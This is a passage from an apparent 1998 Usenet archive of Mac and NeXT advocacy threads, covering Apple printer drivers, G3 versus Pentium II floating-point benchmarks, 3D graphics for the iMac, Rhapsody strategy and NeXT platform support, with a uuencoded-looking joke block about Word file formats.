anyone other than Apple could possibly solve.
If all you want to do is print things two-sided, I can tell you everything
useful I know about getting that done, whether you have to use a one- or
two-sided printer to do it, or even if you have to use a copier or a
printing press.
None of the good solutions to that problem involve GX, though.
Back in the days before you had a duplex printer, Acrobat Reader could
produce PS files perfectly amenable to page-independent processing, but
the GX print driver choked on them. That's not Reader's fault.
Now that you have a duplex printer, Reader, together with a print
driver that supports PPDs, enables you to do it easily. The only
print drivers Apple has that support PPDs (and that help you here)
were essentially written by Adobe.
So when it comes to printing two-sided, Apple has never produced
anything on their own that helps you. GX didn't, and neither did any
print driver that Apple didn't have Adobe write for them.
The fact that Apple has never produced anything to help you print
two-sided is Apple's fault, and that fault has nothing to do with
the limits of any Adobe technology I'm aware of.
Let's place blame where blame is due: Apple's print drivers blow.
Nobody else's are that much better, and most are a lot worse, but
that's a separate issue.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 18:00:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AF0625-224F9@206.165.43.108>
References: <6mb61h$r26$2@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B1AE9BE4-2C05D@206.165.43.66> "Lawson English" claimed:
>> AltiVec can do up to 4 simultaneous operations on floats.
>
> If you ask it too, and even still it's no guarentee that will make it
>faster than the same op on the FP side. I'd rather simply have all of my
>float ops speed up instead.
The subject, I think, was games. FP usage in games would *probably* benefit
more from AltaVec than from a 50% faster overall FP unit. You'd have to
test to be sure, of course.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 18:02:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AF069E-24165@206.165.43.108>
References: <6mbo49$bt6$1@hecate.umd.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
David T. Wang <davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu> said:
>
> "The PPC 750 is not as good as the 604 at floating point, IIRC, but
> it should beat the Pentium II quite comfortably."
>
>As the numbers will show that it does not beat Pentium II quite
>comfortably.
Doesn't it depend on the algorithms?
If the algorithm used can make use of lots and lots of registers, then the
750 might do better than the SPEC95fp scores suggest. OTOH, if fewer than 8
registers are needed, the PII might do better than SPEC scores suggest.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 19 Jun 1998 09:09:25 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6md9s5$1tf$1@news.cs.tu-berlin.de>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
don@misckit.com (Don Yacktman) writes:
>All I can say is that for some inexplicable reason, SJ seems like like the
>FUD to the point of encouraging it. I think it is dumb and a recipe for
>disaster, but that's just my opinion. I have no idea why Jobs is behaving
>this way, but his current policies and behavior are FUD incubators, so if
>that isn't what he wants, he needs to change some things and soon.
You can say that again. [re-insert quote above]
Anyway, the only explanation I have is that most of the MacOS crowd
seemed to have been severely alienated by the new OS being 'Rhapsody
plus some mechanism to run old Mac apps'. It is amazing to see how
*pleased* with themselves they seem to be now that the message is
'MacOS forever plus some little technical details that make it better
we don't really want you to worry about'. Even though the two stories
actually desginate the *same* real world object.
Witness Alsop's moronic little piece of self congratulation not
tainted by even the slightest amount of technical knowledge. In
many ways that was extremely irksome, but on the other hand it
shows that Steve's relabeling campaing seems to be working wonders.
>I will also add that you should never attribute to conspiracy or malice that
>which can be atributed to stupidity. From out here, at least, it sure seems
>like there's a lot of the latter running the show in Cupertino. Seems to
>pervade MS's engineering department, too. But note that shrewd business
>moves beat out the good technical innovations every time...Apple needs to get
>some smarts injected into the people running the business.
Yeah, right now the image I'm seeing is 'Apple dropped another one
of it's future OSes while telling the world to wait for the next one'.
And nobody from within Apple will correct that impression. Some of
it may be the grand strategy of making the Alsops of this world happy,
but I'm guessing that most of Apple doesn't really see any need for
a clarification, because for the ones on the inside, nothing has
really changed, the fundamental plan is still the same.
Earth to Apple: it looks different from the outside. Hugely different.
>Back when Apple bought NeXT, many people asked me if I thought this could
>"save Apple" in the long term. My response was that based on the technology,
>yes it could. But I also said that both companies had a long history of poor
>management decisions ranging from strategy to developer relations to sales
>practices. I said then, and still say today, that if they don't get their
>act together on the business side then they are ultimately doomed. I don't
>see enough signs that the long term is taken care of. Things are looking
>good in the short term (and I like that) but it increasingly looks like most
>decisions are being made at the expense of the long term. That bothers me
>immensely since I don't want to see Apple die. Of course, the top brass have
>information that I don't have, so it is quite possible that things just look
>bad from down here, and not from the helm. But I'm not sold yet and Apple
>management isn't doing a good job of selling their long term "vision", at
>least to me. I suspect that you are experiencing at least some of that same
>effect...
Again, maybe that is because it seems obvious to them, I don't know. I
also think dropping Intel is a serious mistake because it suggests very
strongly that the old Apple that developed unnecessary technologies and
then dropped them willy-nilly is still at the helm. Huge FUD factor.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 19 Jun 1998 01:29:31 GMT
Organization: University of Maryland, College Park
Message-ID: <6mcetr$vbe$1@hecate.umd.edu>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org> <6mc6hc$obq$2@hecate.umd.edu> <slrn6oja2k.3c0.jason@jhste1.dyn.ml.org>
Jason S. (jason@jhste1.dyn.ml.org) wrote:
: David T. Wang posted the following to comp.sys.mac.advocacy:
: >: >Also irrelevent. Photoshop is mixed with integer,floating point, MMX
: >: >code. The numbers above are SPECfp95, posted to specifically refute
: >: >that one assertion.
: >: Isn't SPECfp95 heavily dependent on memory bandwidth for data sets far
: >: larger than 512K? In that case, keep in mind that the IBM test boxes
: >: had the older MPC105 chipset (like the 43P, IIRC), while the Apple
: >: Gossamer boards use the newer MPC106. Whether this has an impact,
: >: I don't know, but the Gossamers beat the older PCI PMacs in STREAM,
: >: for example (not sure what chipset they use, but the 9500 is probably
: >: comparable to a 43P).
: >The 9500's only had a 50 MHz memory bus. most all of the newer generation
: >systems with 66 MHz memory bus would beat it handily. The IBM machine
: >used for the *estimate* had a 66 MHz memory bus. I seriously doubt that
: >the difference in the chipset could be used to validate the statement
: >that the PPC750 can easily beat the Pentium II in floating point operations.
: Ah, but now we are getting into "Dave Wang seriously doubts" territory,
: which is hardly conclusive proof anymore. I'd be interested in seeing
: SPEC results from the 292 MHz PowerBook with the 83 MHz bus - this
: machine might trounce the IBM test machines.
1. Wouldn't you expect a machine with a 66 MHz memory bus would beat a
machine with a 50 MHz bus in STREAM?
2. You were concerned about the effects of memory bandwidth on SPECfp
scores, and you used the example of Gossamer MB vs pre PCI MB's. This
means you compared a MB with a 66 MHz memory bus to a MB with a 50 or 60
MHz memory bus. This is not a valid concern, since the IBM test machine
already had a 66 MHz memory bus.
3. Let's assume that SPECfp is entirely dependent on memory bus, and
take the G3 750 300/1Meg @150/66 estimated SPECfp score, and divide
it by 66, and multiply it by 83.
8.5 / 66 * 83 ~= 10.4
Remember, this was the statement I was trying to refute.
"The PPC 750 is not as good as the 604 at floating point, IIRC, but
it should beat the Pentium II quite comfortably."
The top measured Pentium II score is 12.4. Can you come up with a
senario where the PPC 750 would beat the Pentium II quite comfortably
in floating point operations? Forget the serious doubt part. I have
complete confidence that the generalization made above is not true,
regardless of your doubts raised about memory bus speeds, chipsets
used, whatever.
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 19 Jun 1998 01:54:02 GMT
Organization: University of Maryland, College Park
Message-ID: <6mcgbq$abc$1@hecate.umd.edu>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org> <6mc6hc$obq$2@hecate.umd.edu> <joe.ragosta-1806982140420001@elk120.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: In article <6mc6hc$obq$2@hecate.umd.edu>,
: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: > Jason S. (jason@jhste1.dyn.ml.org) wrote:
: > : David T. Wang posted the following to comp.sys.mac.advocacy:
: >
: > : >Also irrelevent. Photoshop is mixed with integer,floating point, MMX
: > : >code. The numbers above are SPECfp95, posted to specifically refute
: > : >that one assertion.
: >
: > : Isn't SPECfp95 heavily dependent on memory bandwidth for data sets far
: > : larger than 512K? In that case, keep in mind that the IBM test boxes
: > : had the older MPC105 chipset (like the 43P, IIRC), while the Apple
: > : Gossamer boards use the newer MPC106. Whether this has an impact,
: > : I don't know, but the Gossamers beat the older PCI PMacs in STREAM,
: > : for example (not sure what chipset they use, but the 9500 is probably
: > : comparable to a 43P).
: >
: > The 9500's only had a 50 MHz memory bus. most all of the newer generation
: > systems with 66 MHz memory bus would beat it handily. The IBM machine
: > used for the *estimate* had a 66 MHz memory bus. I seriously doubt that
: > the difference in the chipset could be used to validate the statement
: > that the PPC750 can easily beat the Pentium II in floating point operations.
: Of course, you neglect the fact that the G3 was optimized for MacOS. That
: makes any scores on Unix irrelevant.
And the relevence to this piece of information to my point of contention
is? Remember, someone posited that G3 750's FP performance should
easily beat Pentium II. I posted numbers showing that it does not.
What does MacOS/unix issue have to do with this?
From: frank@this.NO_SPAM.net (Frank M. Siegert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 19 Jun 1998 02:43:07 GMT
Organization: Frank's Area 51
Message-ID: <6mcj7r$bet$1@news.seicom.net>
References: <joe.ragosta-1706980834580001@wil36.dol.net> <B1AD5A59-48471@206.165.43.101>
<joe.ragosta-1806980837170001@wil87.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Cc: joe.ragosta@dol.net
In <joe.ragosta-1806980837170001@wil87.dol.net> Joe Ragosta wrote:
> Anyone know what the raw CPU power of a Playstation is compared to a G3?
CPU wise the Playstation is way slower (MIPS 4xxx/33Mhz I believe, or I may
confuse this with the N64) but due to hardware 3D acceleration several
graphic demos (Holli Dance as example featuring a dancing girl moving to
external music) run at 10-15 frames/sec on a Playstation as opposed to their
Mac version with 3-4 frames/sec. The BeOS version runs at 2-3 frames on my
now lowly BeBox (Dual133 603e).
--
* Frank M. Siegert [frank@this.net] - Home http://www.this.net/~frank
* NeXTSTEP, IRIX, Solaris, Linux, BeOS, PDF & PostScript Wizard
* "The answer is vi, what was your question...?"
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Check this out, the P2 beats the G3....
Date: 19 Jun 1998 05:52:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ojv55.2i8.sal@panix3.panix.com>
References: <joe.ragosta-1306981330270001@elk64.dol.net> <6lvo55$opc$1@nnrp1.dejanews.com> <macghod-1406980039070001@sdn-ar-001casbarp256.dialsprint.net> <1dassd1.1i9pf7frzyhwcN@pppsl518.chicagonet.net> <macghod-1806980148490001@sdn-ar-001casbarp295.dialsprint.net> <6mcpgh$osd$1@news6.ispnews.com>
On Thu, 18 Jun 1998 23:29:20 -0600, Edwin E. Thorne <ethorne@chicagonet.net> wrote:
[snip]
>So what? When did I say that you advocated Windows? I objected to your PC
>advocacy on csma, not to using Openstep on the Mac. That rubber band in
>your head must be almost completely wound down.
[snip]
>I don't need any condescending terms from you, MacClod. Once again, stop
>puking out your PC advertisement, you hypocrite.
How is comparing PCs and Macs "PC advocacy"? If the Mac is that much better,
then I'm sure you would welcome comparisons just to show off.
What *should* you compare Macs to? Each other?
*********************************************
>>Ya know, your posts contain absolutely no content.
>You are a liar.
>>You call people names,
>>but you never give content. When I post, I try to use facts.
>You're a liar and a hypocritic. Your so called "facts" are nothing but Mac
>bashing FUD.
Steve just proved his point. Where did he lie? In what way is he "bashing"
the Mac? Where's the FUD? Name calling and insults do nothing to prove any
point you are trying to make. If anything they show you to be unable to
conduct a normal discussion.
--
sal@panix.com
Salvatore Denaro
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 98 22:27:58
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun18222758@slave.doubleu.com>
References: <6map2e$hpd$1@ns3.vrx.net> <B1AE9C85-2E635@206.165.43.66>
<see-below-1806981702530001@dynamic23.pm07.mv.best.com>
In-reply-to: see-below@not-my-address.com's message of Thu, 18 Jun 1998 17:02:53 -0700
In article <see-below-1806981702530001@dynamic23.pm07.mv.best.com>,
see-below@not-my-address.com (Matthew Vaughan) writes:
In article <B1AE9C85-2E635@206.165.43.66>,
"Lawson English" <english@primenet.com> wrote:
> Apple should use the "personality card" concept to provide
> upgradeable 3D acceleration cards. These would be
> dealer-upgardeable. This would allow iMac users to start out with
> a base system and upgrade it as needed.
But then you have lots of possible configurations. One advantage of
having a single chipset in the whole line for such a machine is
that hopefully (assuming it's got decent enough performance to
bother with) lots of developers will make sure to support it.
Solder the graphics chip to the motherboard and add a year. Now you
have the same problem.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Huh?
Date: 15 Jun 98 15:26:49
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun15152649@slave.doubleu.com>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com>
<6lpgek$l79@nntp02.primenet.com> <cdoutyEuGqL7.EvE@netcom.com>
In-reply-to: cdouty@netcom.com's message of Fri, 12 Jun 1998 23:58:19 GMT
In article <cdoutyEuGqL7.EvE@netcom.com>,
cdouty@netcom.com (Chris Douty) writes:
From unofficial comments on the OS X plans heard at the last BANG
meeting, it seemed likely that OS X would not have a shell.
Period.
<...>
Forget Terminal.app for a moment. How the hell do you start a unix-based
service without a shell?
How do you access the shell without Terminal.app? I think you're
holding them to a very precise definition of shell which 95% of people
don't hold to. To most users, the shell _is_ Terminal.app. I used to
get all sorts of feature requests for things like "Arrow keys to edit
lines" and other shell-level features. People don't distinguish
between the two pieces of the puzzle, nor is there any need for them
to.
Thus, for most users, dropping Terminal.app from the required install
means that there is no shell. You might know better, I might know
better, but that's not the point, here.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 98 22:25:35
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun18222535@slave.doubleu.com>
References: <6map2e$hpd$1@ns3.vrx.net> <B1AE9C85-2E635@206.165.43.66>
<joe.ragosta-1806981353410001@wil45.dol.net>
In-reply-to: joe.ragosta@dol.net's message of Thu, 18 Jun 1998 13:53:41 -0400
In article <joe.ragosta-1806981353410001@wil45.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) writes:
In article <B1AE9C85-2E635@206.165.43.66>,
"Lawson English" <english@primenet.com> wrote:
> They could even make it cheaper by not having ANY 3D acceleration
> for a pure WebTV solution.
I can't imagine that eliminating the 3D acceleration would save any
significant amount of money.
You can buy an 8 MB 3D accelerated video card for the same price as
a 4 MB Millenium I. This isn't a very good place to cut corners.
Perhaps not - on the other hand, it may simplify upgrades. With an
integrated 3D solution, if you upgrade the CPU you'll want to upgrade
the 3D subsystem, otherwise the CPU will outstrip it. As an
alternative, you could just put in a very transparent 2D solution
(like the Matrox chips), and let the CPU do the work. So when you
upgrade the CPU, you're done. In my experience the performance of the
Matrox chips scales very well with the performance of your CPU.
[Of course, they may be hoping that people will just buy a new iMac
every two years...]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 15 Jun 98 16:10:02
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun15161002@slave.doubleu.com>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <357DEB64.6B62@CONVEX.COM>
<35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net>
<6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net>
<rmcassid-1206980004350001@dialin9229.slip.uci.edu>
<358130D4.372EFBEB@nstar.net>
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<rmcassid-1506981504300001@dante.eng.uci.edu>
In-reply-to: rmcassid@uci.edu's message of Mon, 15 Jun 1998 15:04:30 -0700
In article <rmcassid-1506981504300001@dante.eng.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) writes:
In article <35858DEB.5EE3F11E@nstar.net>,
Michael Peck <mjpeck@nstar.net> wrote:
>Robert Cassidy wrote:
>> Consider if all bills were put forth with an expiration date. It
>> would make those laws that were later deemed silly as irrelevant
>> since it would expire without renewal... It would also force
>> other bills to get an opportunity for review at regular
>> intervals. Imagine if the tax codes had to be reapproved every
>> 3-5 years...
>
>This is a really good idea, if it would apply to *all*
>legislation, at both the state and federal levels.
Sure, why discriminate?
>It would inspire more involvement in the legislative process on
>the part of citizens, and would force all elected officials to
>take a public stand one way or the other on every piece of
>legislation under consideration.
Yep.
Why? I mean, how would it improve the precision of their "stand" over
how things currently are? Put another way, can you recall how your
representative stood on any recent vote?
>The main obstacle I see is that the sheer volume of legislation
>review made necessary by such a measure would create a real
>imbalance in the legislative process. Naturally, this wouldn't be
>a problem in a country with a reasonably-sized code of laws, and
>would tend to severely curb the total amount over time. Even so,
>early on, it would be a real zoo.
Choose your battles wisely. Don't make laws unless you are willing
to maintain them.
Better than that - don't make laws unless you are willing to _enforce_
them. Because any law passed but not enforced is a law taking up time
you could otherwise have spent on a law you would want to enforce.
My thought is that this can go further. Restrict congress to meeting
3 months out of the year, and have a quota on the number of laws that
can be passed in a given year. Hack the federal government back down
to a semblence of what they were intended to be.
Maybe the computer industry has something to offer here.
Unfortunately, most of it would be negative. In fact, I think it
would be worthwhile to _forbid_ use of computer technology in the
passing of laws. Look at email and netnews. The civility of society
seems inversely related to the pain required to participate. If you
have to walk three days to talk to someone, you'll only talk to people
you want to talk to, and you'll be polite. If it takes two seconds to
send an email, you send whatever pops into your head at the time.
If you want a nightmarish future, imagine a couple hundred career
politicians with the ability to use computers to create and enforce
laws. The Bureau of Sabatoge starts to make sense (see Frank
Herbert). Laws _should_ take a long time to implement.
[Note that this can also be extended to argue against the time-limited
law. The reasoning being that with time limits on laws, alternative
methods would fill the vacuum, and one of the most obvious methods
would be to expand the bureaucracy. Meaning that instead of having a
bunch of bad laws that nobody can understand, the US would have a
system of precedent, in which a bureaucrat could at any time go off
the edge and make their own decisions. See the IRS for an example of
a US federal entity that implements things outside of the law.]
>I don't think that this is a new idea. I can't place a precedent,
>being of severely limited education, but it sounds familiar.
It's not new. I can't recall the precedent either, only that it
entered my head somewhere in my HS history course.
It came into my head a couple years ago with no precendent that I'm
aware of. Just caffeine-driven yapping with friends. I suspect it
pops out at a lot of places, if you think about the problems
governments seem to have.
I like it better as well. The checks and balances system has turned
out, IMO, to be pretty nicely matched - no need to upset things...
I'm actually starting to appreciate our current system more and more.
The reason is that it seems to be having troubles _doing_ anything.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: Thu, 18 Jun 1998 23:13:52 -0700
Organization: Great untill Apple cancelled the Newton
Message-ID: <macghod-1806982313540001@206.133.187.68>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com> <slrn6ojoni.plc.sal@panix3.panix.com>
> Did you read any of the _dozens_ of posts he made when he had trouble
> installing OpenStep/Mach on his machine? He is hardly a PC cheerleader
> spreading FUD about the Mac.
Unfortunately, all the trouble I had on installing Openstep was partially
my fault. And I am very embarrased to admit this. I spent tons of hours
changing the cd rom from master to slave, plus tons of other
configurations. The embarrasing part was one day I happened to see the
bottom of the openstep cd. It had a huge crack in it. I spent SOOOO much
time trying to install openstep, fiddling with the configuration,
downloading new drivers, trying different driver after different driver.
You can imagine how embarrased I was when I saw the big crack on the
bottom of the cd. In my defense, one normally doesnt look at the bottom
of the cd.
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 98 22:22:41
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun18222241@slave.doubleu.com>
References: <6map2e$hpd$1@ns3.vrx.net> <B1AE9C85-2E635@206.165.43.66>
In-reply-to: "Lawson English"'s message of 18 Jun 1998 10:30:01 -0700
In article <B1AE9C85-2E635@206.165.43.66>,
"Lawson English" <english@primenet.com> writes:
Maury Markowitz <maury@remove_this.istar.ca> said:
>Apple would be well off to include a Voodoo RAGE chip, but these
>are expensive parts. A RIVA is an excellent second, because it
>has 3D-in-a-window which the normal Voodoo lacks.
Apple should use the "personality card" concept to provide
upgradeable 3D acceleration cards. These would be
dealer-upgardeable. This would allow iMac users to start out with a
base system and upgrade it as needed.
There is a push by some manufacturer to make a special socket type for
graphics chips. Basically, you'd have a socket on the motherboard
that you could pop the old chip out of and pop a new chip into. Sorry
I've got no names - I just can't think of it offhand.
The downsides, though, may make it a hard sell for consumers. First,
I think it might have been targetted for 2D, though obviously a
2D/3D-in-window solution would be just as workable. Also, I don't
think the company pushing for it was interested in letting other
graphics chip companies play in the sandbox. They were pushing mainly
for motherboard makers to include the socket. Thus, I don't think
this will fly far.
[The goal seemed to be to make it easier to have the graphics chip on
the motherboard, while not locking the motherboard vendors into the
6-month churn cycle. They would ship the motherboard without the
graphics chip, and the OEM would drop the then-current chip in at ship
time.],
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: 15 Jun 98 15:10:11
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun15151011@slave.doubleu.com>
References: <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981539290001@dante.eng.uci.edu>
<6lji4s$pns$1@new-news.cc.brandeis.edu>
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<ldo-1106981751380001@a7.hn3.wave.co.nz>
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<6lq9lf$m6c$1@news.xmission.com>
<slrn6o2u0t.nm5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In-reply-to: NOSPAMmbkennelNOSPAM@yahoo.com's message of 12 Jun 1998 18:49:03 GMT
In article <slrn6o2u0t.nm5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) writes:
On 12 Jun 1998 04:09:19 GMT, Don Yacktman <don@misckit.com> wrote:
:briefly here's a few things I like:
:
:* file formats can no longer be proprietary because they're way
:too easy to engineer. XML is human readable, so it is easy to
:figure out what is stored, where, and how.
Really?
<WORD2001STUFF>
MPY!5B>6#[!!75E-H$MT$".@)Y___B<*)5?2#Q2%T@^$U0(`(Z`^$S(
M#'_9J$<W00(9H
E%_(H%'MT$"(A%_E+HZ2T`*.@`4(B47XO@$`"#Q2-
M3?R)3?"-=@"#_@(/A-<`!_%8/^70PZ0"`"-="8C;PG``(/^P^$
M!P$`(/^!^$G@$`.G>0`B?:-O"<``BU7TB@(\*G0G?Q6$P^$10(
M.Mff
KC70F(V\)P``\.G5<0HE5].FH0`C78:A3HN2P`(G'H9S]!B)
M1Q")/9S]!C_1?2+1?B)1P2#Q1J8U%]%"-1?A0Z'[Y__^#QR)![X$``
MZ4_____K#9"0D)"0D)"0D)"0D)"+1?2*(A%_/]%]+X"``Z2O___^-="8
MC;Pf
G``(M%](HA,/A#(!`"(1?W_1?2^P`.D#____C78P>,#BT7X
MB8,P_00(:@"-1?10C47X4.@%^?__@\0,B8,L_00(O@$`#K2)"-="8OO__
</WORD2001STUFF>
Yeah, well, uuencoding a .doc file doesn't make it an ASCII format :-).
Now, I'd *really* like it if every darn configuration file on every
Unix machine were in XML, with common tags negotiated by operating
system groups. And then, of course, NetInfo-like XML network
distribution.
That would be a real fundamental improvement.
And cool, to boot.
Even slicker, though, might be to define formatting objects for use
from XSL. Then the XML source data could be arbitrary XML, meaning
that you can get away from the "overload the GECOS field" problem,
without embarking on a custom format. Furthermore, you could generate
multiple config tables from a single input. group/passwd, for
instance, or exports/fstab.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: 19 Jun 1998 01:33:19 GMT
Organization: Michigan State University
Message-ID: <6mcf4v$q6j$11@msunews.cl.msu.edu>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4>
<6m72rr$8q5$1@cronkite.cygnus.com> <Euopxp.Ezq@AWT.NL>
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Cc: don@misckit.com
In <6m9js0$34n$1@news.xmission.com> Don Yacktman wrote:
> G.C.Th.Wierda@AWT.nl (Gerben Wierda) wrote:
> > Actually, this is not correct. NeXT never stopped supporting the
m68k
> > hardware. It was only when Apple took over that they stopped
supporting
> > obsolete NeXT hardware. NeXT hardware is supported under OPENSTEP
4.2.
> >
> > NeXT did stop support for HP PA-RISC workstations (from 3.2->3.3)
and Sun
> > SPARC machines (from 3.3->4.0). But they did not stop supporting
m68k.
>
> Not quite correct, yet. :-)
>
> HPPA was supported in 3.3 and in 4.0 PR1. HPPA was dropped by 4.0,
however,
> so 3.3 was the last public release for HPPA.
>
> Sparc is still supported in 4.2. Sparc is not supported by any of
the
> Rhapsody DR's.
